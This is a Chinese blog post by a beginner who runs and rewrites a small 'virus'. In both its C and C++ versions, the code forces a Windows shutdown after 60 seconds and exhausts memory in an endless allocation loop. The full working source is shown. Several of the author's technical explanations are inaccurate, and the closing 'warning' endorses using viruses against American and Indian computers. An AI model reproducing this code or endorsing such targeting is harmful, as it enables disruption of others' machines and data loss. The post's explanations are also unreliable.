实测以后发现这个病毒根本就没有杀伤力。连让电脑卡慢都做不到,直接崩溃退出了。退出的提示信息如下:
这是我改写的一个病毒,原病毒是用C语言写的,如下:
#include <stdio.h> #include <malloc.h> #include <windows.h> int main(void) { system("shutdown -s -t 60"); //原本这个时间设的是320秒,但是我觉得太长了,改成120秒后依然觉得长 while(1) { int *p=(int *)malloc(1000); //为什么C语言中的malloc函数可以对内存无限申请下去呢?C++中的new运算符一旦溢出就崩溃退出了 } return 0; }
也许是现在的计算机内存普遍要比以前大的原因,原病毒居然还在用C语言写,可见是上世纪8、90年代的病毒;当然,也不排除用C语言的目的是为了更好地操作底层硬件,企图让破坏性更大。 ==================第二次测试后的分割线==================
分割线下面的话是我亲测了原病毒以后写的。想不到啊想不到!我亲测了原病毒以后,虽然源程序以cpp为扩展名,但是内容依然是C语言的,结果运行了以后——360加速球显示资源占用达到99%!电脑变得极其卡顿!——看来并不是这个病毒威力不大,而是我改写错了!
我原以为C++中的new运算符对内存的申请作用和C中的malloc函数是一样的,没想到new运算符申请空间溢出时,windows系统有保护机制,可以自动退出。而malloc函数申请空间溢出时没有任何保护机制!迅速占用所有内存资源,然后一直卡顿下去!
==================第三次测试后的分割线==================
#include <iostream> #include <cstdlib> using namespace std; int main() { system("shutdown -s -t 60"); while(1) int* p = new int[1000]; //经再次测试发现:数字太大了会直接崩溃退出,但是写1000就刚好 return 0; }只需要把new后面方括号内的1000000改为1000,就可以实现同样的卡顿拖慢现象!360加速球占用率98%!但是在几十秒后会同样地崩溃退出,出现上面命令行窗口中的提示信息。所以,C++的语言不适合写病毒!因为windows对它有保护机制!C语言最适合!至于为什么?以后再研究!
======================警示录==========================
这是我的第一篇计算机病毒的博文,也是最后一篇!我已经预见到会有一些心术不正的人会拿这里的源代码去祸害别人的电脑。我成了“贩卖军火和凶器的人”。所以,不再贴这种博文了。希望有志于学好计算机的同仁们,心怀光明,不要做坏事!即使病毒也是用来祸害美国人和印度人的电脑的!即使当黑客也是白帽黑客、为中国而战的红客!作为一个计算机初学者、名副其实的菜鸟,这个话题我就说这些吧。